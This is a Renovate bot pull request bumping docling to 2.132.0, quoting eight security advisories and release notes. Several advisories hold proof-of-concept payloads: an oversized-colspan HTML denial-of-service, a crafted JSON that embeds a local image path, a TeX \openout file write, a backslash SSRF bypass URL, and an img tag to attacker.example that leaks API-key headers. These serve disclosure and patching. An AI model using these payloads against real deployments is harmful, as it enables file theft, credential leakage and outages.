Skip to content

chore(deps): update dependency docling to v2.132.0 [security] - #36

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-docling-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-docling-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 24, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
docling (changelog) 2.98.0 → 2.132.0 age confidence

Docling: enable_local_fetch is not enforced in HTML browser-rendering mode

CVE-2026-105750 / GHSA-q43m-vhcp-mhvm

More information

Details

Summary

When the HTML backend renders pages in a headless browser (HTMLBackendOptions(render_page=True)), the enable_local_fetch option is not enforced. A crafted HTML file can embed an arbitrary local file (for example with <iframe src="file:///...">), and that file's contents appear in the page image attached to the returned DoclingDocument.

Details

In render mode, Playwright requests are filtered by HTMLDocumentBackend._get_browser_request_block_reason. In affected versions, this check allowed file: URLs unconditionally, before reading any option. As a result:

  • enable_local_fetch=False did not block local file access, and
  • even with enable_local_fetch=True, file access was not limited to the source document's directory, unlike the non-render path (ImageResourceLoader), which rejects absolute paths and path traversal.

Versions 2.82.0–2.90.x did no request filtering in render mode at all.

The browser runs with JavaScript disabled (from 2.91.0), so disclosure is passive: only what Chromium renders visibly inside the page viewport ends up in the page image.

Only Path inputs are affected. They are loaded through a file:// URL. Stream inputs are loaded with page.set_content() into an opaque origin, from which Chromium does not load file:// subresources.

Impact

An attacker who can submit HTML for conversion can read any text file the conversion process can read (for example .env files, credential files, or other users' documents on a shared host) by having it rendered into the page image.

Only applications that meet all of these conditions are affected:

  • they set HTMLBackendOptions(render_page=True) in Python,
  • they have the optional playwright dependency installed, and
  • they pass untrusted HTML as a filesystem Path.

The following are not affected: the default configuration (render_page=False), the docling CLI, docling-serve, and the EPUB, Markdown, XBRL and email backends.

Patches

Fixed in 2.118.1 (#​3948). In render mode, file: requests are now blocked unless enable_local_fetch=True, and allowed requests are limited to the source document's directory.

Workarounds

If you can't upgrade, don't use render_page=True on untrusted HTML, or pass the input as a stream instead of a Path.

Credits

Reported by @​priyankn.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Docling: METS-GBS archive member limit enforced after full member enumeration (memory exhaustion during format detection)

CVE-2026-105747 / GHSA-3cr3-8m4c-fpxw

More information

Details

Summary

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the max_member_count limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

Details

docling/datamodel/document.py (format detection) and docling/backend/mets_gbs_backend.py both iterate tar.getmembers() and count members inside the loop. getmembers() reads every header up front.

Measured on Python 3.12: an archive of 1,000,000 empty members compresses to about 6.2 MB and makes getmembers() hold about 408 MB (about 66 times the input size). Format detection runs for any application/gzip input before allowed_formats is applied, so the allocation happens even when METS-GBS is not an allowed format.

This check was introduced by the fix for CVE-2026-44018 (GHSA-r3xg-rg9j-67fv) in 2.91.0. The eager enumeration it relies on has been there since METS-GBS detection was added in 2.45.0.

Impact

Memory exhaustion of the converting process, proportional to the size of the input archive. Confidentiality and integrity are not affected.

Patches

Fixed in docling 2.131.0 by #​4412. Format detection and the METS-GBS backend now read archive members one at a time and stop as soon as max_member_count is exceeded, including when looking up page files.

Workarounds

Upgrade to 2.131.0. For older versions:

Reject gzip or tar inputs before they reach docling when METS-GBS support is not needed, and run conversions of untrusted input with memory limits.

Severity

  • CVSS Score: 4.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Docling imports plugin entry points before the allow_external_plugins check

CVE-2026-105745 / GHSA-9jxx-vjrv-h2rq

More information

Details

Summary

allow_external_plugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's load_setuptools_entrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

Details

In docling/models/factories/base_factory.py, load_from_plugins() loads all entry points first and applies the allow_external_plugins check only to the already-imported modules. The CLI creates these factories when it starts, so running docling imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.

Affected configurations

Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on allow_external_plugins=False to keep that code from running.

Impact

Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of allow_external_plugins=False.

Patches

Fixed in docling 2.131.0 by #​4413. Plugin entry points are now filtered by module name before they are loaded, so with allow_external_plugins=False third-party plugin modules are no longer imported.

Workarounds

Upgrade to 2.131.0. For older versions:

Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with importlib.metadata.entry_points().

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Docling: Unbounded table rowspan/colspan in HTML, JATS, ODS and BoxNote backends causes CPU/memory exhaustion

CVE-2026-105749 / GHSA-cgc7-9qp3-86m3

More information

Details

Summary

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

Details
  • docling/backend/html_backend.py (_get_cell_spans) parses span attributes with no upper limit. The cell-filling loop then iterates row_span × col_span times.
  • docling/backend/jats_backend.py and docling/backend/boxnote_backend.py fill their tables the same way.
  • The OpenDocument spreadsheet path scans the declared span range.
  • Export (for example export_to_markdown()) materialises the full grid through TableData.grid in docling-core.

document_timeout does not bound this. It is checked between pipeline stages, and these backends convert the whole document in a single call. max_file_size and max_num_pages do not help because the payload is tiny.

Measured on 2.130.0: a 54-byte HTML file with rowspan="1e8" takes about 4.4 s of CPU, and the time grows linearly with the value. A 52-byte file with colspan="3000000" takes about 23 s and reaches 4.5 GB peak memory during Markdown export.

Impact

Denial of service of the converting process from a very small input document. Confidentiality and integrity are not affected.

Proof of concept
<table><tr><td colspan="3000000">x</td></tr></table>
from docling.document_converter import DocumentConverter
DocumentConverter().convert("span.html").document.export_to_markdown()
Patches

Fixed in docling 2.131.0 by #​4414. Table spans are clamped to the HTML limits (colspan 1000, rowspan 65534) and to the actual size of the table in the HTML, JATS, BoxNote and OpenDocument spreadsheet backends, so conversion time and memory grow with the real table only.

Workarounds

Upgrade to 2.131.0. For older versions:

Run conversions of untrusted documents in a separate process with memory and CPU-time limits, or restrict allowed_formats to formats that are not affected.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Docling: Crafted DoclingDocument JSON embeds local image files into converted output

CVE-2026-105748 / GHSA-p944-4xh2-x776

More information

Details

Summary

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSON_DOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

Details

docling/backend/json/docling_json_backend.py validates the JSON into a DoclingDocument without checking image references. The file is then read by docling-core:

  • DoclingDocument._with_embedded_pictures opens file:// and plain-path URIs with PIL.
  • ImageRef.pil_image checks allow_image_file_uri for file:// URIs but not for plain Path values. docling's picture enrichment models load images through this property.

Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.

Impact

Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.

Proof of concept
from pathlib import Path
from docling_core.types.doc import DoclingDocument, ImageRef
from docling_core.types.doc.base import Size

doc = DoclingDocument(name="poc")
doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1),
                               uri=Path("/srv/uploads/other-user/scan.png")))
doc.save_as_json("poc.json")

docling poc.json --to md embeds the referenced PNG as base64 in poc.md.

Patches

Fixed in docling 2.131.0 by #​4417. The Docling JSON backend now drops image references that point at local files (paths, file: URIs and any scheme other than data: and http(s)) and logs a warning. Callers that need to load local images from JSON they trust can opt in with DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True)); the CLI has no such option.

Code that loads untrusted JSON directly with docling-core (DoclingDocument.load_from_json) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.

Workarounds

Upgrade to 2.131.0. For older versions:

  • Remove InputFormat.JSON_DOCLING from allowed_formats when converting untrusted input.
  • Export with ImageRefMode.PLACEHOLDER or ImageRefMode.REFERENCED instead of EMBEDDED.

Severity

  • CVSS Score: 4.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Docling has arbitrary file read/write (and command execution when shell-escape is enabled) when rendering untrusted TikZ with the opt-in Tectonic engine

CVE-2026-105744 / GHSA-x3q2-h9hx-4r4j

More information

Details

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikz_engine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikz_engine_allow_shell_escape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. _resolve_local_dependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

  • \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely.
  • \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allow_shell_escape=True. The LaTeX backend always passes tikz_engine_allow_shell_escape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations
  • Affected: callers that set tikz_engine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX.
  • Not affected: the default configuration (tikz_engine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.
Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept
\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
  \immediate\openout15=/tmp/docling-tectonic-poc.txt
  \immediate\write15{written by the input document}
  \immediate\closeout15
  \node {x};
\end{tikzpicture}
\end{document}

Converting this file with LatexBackendOptions(tikz_engine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #​4419:

  • TectonicEngine now defaults to allow_shell_escape=False, and without shell escape Tectonic runs with --untrusted and --only-cached.
  • Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.

This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the pipeline options reference, untrusted LaTeX rendered with tikz_engine="tectonic" should still be processed in an isolated environment.

Workarounds

Upgrade to 2.132.0. For older versions:

  • Do not enable tikz_engine="tectonic" for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
  • Never set tikz_engine_allow_shell_escape=True for untrusted input.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Docling has SSRF guard bypass in remote resource fetching (DNS rebinding / multi-record resolution; no IP validation in HTML render mode)

CVE-2026-105743 / GHSA-pc36-qwjq-x68c

More information

Details

Summary

When remote fetching is enabled (enable_remote_fetch=True, together with fetch_images=True or HTML render_page=True), docling's protection against requests to private and loopback addresses can be bypassed.

  • The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses.
  • The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080.
  • In HTML browser-rendering mode (render_page=True), requests made by the page are allowed for any http(s) URL without an IP check.
Details
  • validate_url_safety in docling/backend/utils/image_resource_loader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends.
  • docling/backend/html_backend.py routes browser requests in render mode. When enable_remote_fetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations
  • Affected: callers that enable enable_remote_fetch (CLI: --html-image-fetch remote or all) and process untrusted documents.
  • Not affected: the default configuration (enable_remote_fetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #​4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enable_remote_fetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

Severity

  • CVSS Score: 4.0 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Docling: Configured HTTP headers sent to every remote image host named by a document

CVE-2026-105742 / GHSA-p3fw-7699-7926

More information

Details

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations
  • Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
  • Not affected: the default configuration.
Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept
<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #​4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

docling-project/docling (docling)

v2.132.0

Compare Source

Feature
  • pdf, reading-order: Updating the reading-order algoirthm (#​4276) (42de1e2)
Fix
  • Preserve fidelity when mapping external VLM output (Chandra, dots, MinerU) (#​4470) (20ba847)
  • csv: Validate first-line dialect before accepting a sniff (#​4453) (d6f0307)
  • docx: Exclude '<w:bCs>' from bold detection (#​4366) (bf836f2)
  • image: Recognize .gif files as images (#​4326) (cd05bef)
  • cli: Skip Excel and PowerPoint lock files in directories (#​4324) (6864fb3)
  • csv: Unescape doubled quotes in quoted fields (#​4362) (e53ce5d)
  • md: Keep inline code spans inside GFM table cells (#​4327) (ae8db9a)
  • latex: Run Tectonic without shell escape and skip TikZ that references outside files (#​4419) (38b6fa0)
  • html: Validate every resolved address and scope fetch headers to the source origin (#​4420) (5e46913)
  • video: Limit ffmpeg input protocols and add subprocess timeouts (#​4421) (efaf9ed)

v2.131.0

Compare Source

Feature
Fix
  • pypdfium2: Build the page object index once to avoid quadratic scans (#​4226) (b93af46)
  • pipeline: Skip enrichment after timeout (#​4396) (152f9ba)
  • vlm: Report failed remote API calls as INFERENCE_ERROR instead of empty success (#​4332) (2b2fb85)
  • mets: Enforce the member limit while iterating the archive (#​4412) (ebae65c)
  • plugins: Skip external entry points before importing them (#​4413) (0f443b3)
  • Clamp oversized table rowspan/colspan to the table size (#​4414) (c5b4429)
  • uspto: Extract tables in linear time (#​4411) (19e4519)
  • html: Keep the source text in orig (#​4434) (04e9b04)
  • json: Don't load local image files referenced by Docling JSON input (#​4417) (d4bb776)
  • pptx: Start numbered lists at their startAt value (#​4415) (e478006)
  • ocr: Require enable_remote_services for the KServe v2 OCR engine (#​4418) (7d6d0c4)
  • pptx: Repair test failures introduced by the LibreOffice hardening (#​4425) (98d78ef)
  • asciidoc: Flush pending text at section headers (#​4428) (e2f942e)
  • docx: Keep lists in their section after a numbered heading (#​4282) (68732ff)
  • md: Preserve whitespace around inline emphasis in table cells (#​4318) (d453bb0)
  • epub: Rewrite internal links for every content-document extension (#​4293) (ec3dc7c)
  • latex: Parse tabular*, tabularx and longtable as tables (#​4325) (20f474b)
  • Preserve mixed and numeric chart headers (#​4367) (c14c373)
  • docx: Read footnote/endnote body text from the separate OPC parts (#​4374) (6167240)
  • odf: Stop splicing footnote/endnote body text into the citing paragraph\ ([#&#8203;4375](https://redirect.github.com/docling-project/docling/issues/4375)) ([bf734d1`](bf734d1))
  • uspto: Rewind a stream input before reading it (#​4379) (e100e6d)
  • pptx: Nest list items by paragraph level (#​4397) (fc8a093)
  • asciidoc: Turn listing blocks into code items (#​4400) (8060f3f)
  • docx: Render East Asian w:numFmt values in list markers (#​4336) (2682193)
  • xlsx: Keep every message of a threaded comment (#​4353) (62594ff)
  • asciidoc: Parse nested bullet list items (#​4403) (1d28495)
  • html: Render GFM task lists as checkbox items with their text (#​4401) (4d37c64)
  • md: Keep every character-reference spelling of a pipe inside its table cell (#​4371) (2d5c590)
  • jats: Tolerate partial citation names and empty article titles (#​4272) (25ad1d5)
  • backend: Translate line endings when decoding text from a stream (#​4354) (7928e30)
  • latex: Keep spacing and paragraph of text around inline macros (#​4340) (dcea997)
  • asciidoc: Skip empty tables after incomplete rows (#​4300) (7e361ab)
  • ocr: Use configured Tesseract tessdata path (#​4141) (54a6ca4)
  • csv: Drop blank lines instead of turning them into empty rows (#​4316) (61fe339)
  • Load granite-vision-4.1-4b natively on transformers>=5.8 (#​4208) (804e806)
  • epub: Decode a UTF-16 content document instead of dropping it (#​4351) (cc32d17)
  • ocr: Check ocrmac languages against the configured recognition level (#​4345) (fc4aa7f)
Documentation

v2.130.0

Compare Source

Feature
Fix
  • service client: Omit only unset arguments but keep values set equal to defaults (#​4349) (35c6af5)
  • Remove double preset registration of chart extraction (#​4348) (878831c)
  • md: Honor backslash-escaped pipes in Markdown tables (#​4313) (52e52fd)
  • Fix the VLM end token stripping. Extend the unit tests (7748f6e)
  • docx: Keep list items when a list starts above indent level 0 (#​4188) (b078ea3)
  • backend: Defer the docling-parse import in the PDF backend (#​4286) (1b40928)
  • html: Emit the of a table and link it to the TableItem (#​4289) (d6d9da0)
  • Force eager attention for Nemotron Parse v2 (#​4307) (#​4328) (54c7cf2)
  • ebcdic: Keep fixed-point notation for scaled numbers (#​4296) (244042a)
  • docx: Don't reuse a list group across an intervening table (#​4305) (4141a99)
  • afp: Follow PTOCA control sequence chaining (#​4297) (df6b341)
  • pptx: Record slide positions as TOPLEFT, the origin python-pptx reports (#​4294) (dd05464)
  • office: Harden the LibreOffice profile, flags, and timeout kill (#​4228) (14789f2)
  • docx: Clamp heading levels to the OOXML 1-9 range (#​4319) (1c2dbec)
  • xlsx: Avoid duplicate sparse table fragments (#​4302) (891de07)
  • email: Fall back to the HTML body when the plain part is blank (#​4295) (8e37971)
  • Skip already downloaded EasyOCR models unless force is set (#​4317) (8522eb7)
  • backend: Defer pypdfium2 import in office and LaTeX backends (#​4285) (abca4be)
  • Recognize .markdown files (#​4306) (557f0fa)
Documentation
  • ocr: Fix the dead same-page anchor in OCR.md (#​4310) (6e22317)
  • examples: Fix stale paths in the VLM pipeline example comments (#​4311) (490fa64)

v2.129.0

Compare Source

Feature
Fix
  • More improvements for chandra ocr parsing (#​4277) (a83926c)
  • asciidoc: Recognise a rowspan-only cell specifier (#​4290) (815f34a)
  • html: Default a zero colspan or rowspan to 1 in HTML tables (#​4287) (6cb036c)
  • csv: Wrap strict quote errors as DocumentLoadError (#​4260) (ddf05ff)
  • heading-hierarchy: Support colon, dash, bracket and parenthesized numbering markers (#​4204) (3b5f61c)
  • epub: Resolve manifest hrefs that step out of the package directory (#​4261) (2b6a7ff)
  • backend: Decode text documents that are not UTF-8 (#​4202) (cea4b45)
  • picture-description: Propagate token usage from vlm engine output (#​4250) (629440e)
  • email: Normalise CRLF and lone CR in message bodies (#​4248) (1ceca30)
  • pptx: Keep charts nested in a group when isolating for rendering (#​4232) (e80fa80)
  • cache: Fall back safely when serialize_as_any detects false circular reference (#​4240) (d4fa979)
  • Recognize bare Arabic chapter numbering (#​4179) (b5cfca0)
Documentation
  • Fix notebook links that resolve above docs/ ([#​4196](https://r

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from a team as a code owner October 24, 2026 02:37
@renovate renovate Bot added the security label Oct 24, 2026
@coderabbitai

coderabbitai Bot commented Oct 24, 2026 •

Copy link
Copy Markdown

Important

Review skipped

Auto reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

Run configuration
  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Central YAML; Path: .coderabbit.yaml
  • Review profile: ASSERTIVE
  • Plan: Enterprise
  • Run ID: cd7a89be-1635-47fa-8025-ee1734ee01b9

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Comment @coderabbitai help to get the list of available commands.

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate
renovate Bot force-pushed the renovate/pypi-docling-vulnerability branch from 536e81c to 17a140e Compare October 27, 2026 00:34
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants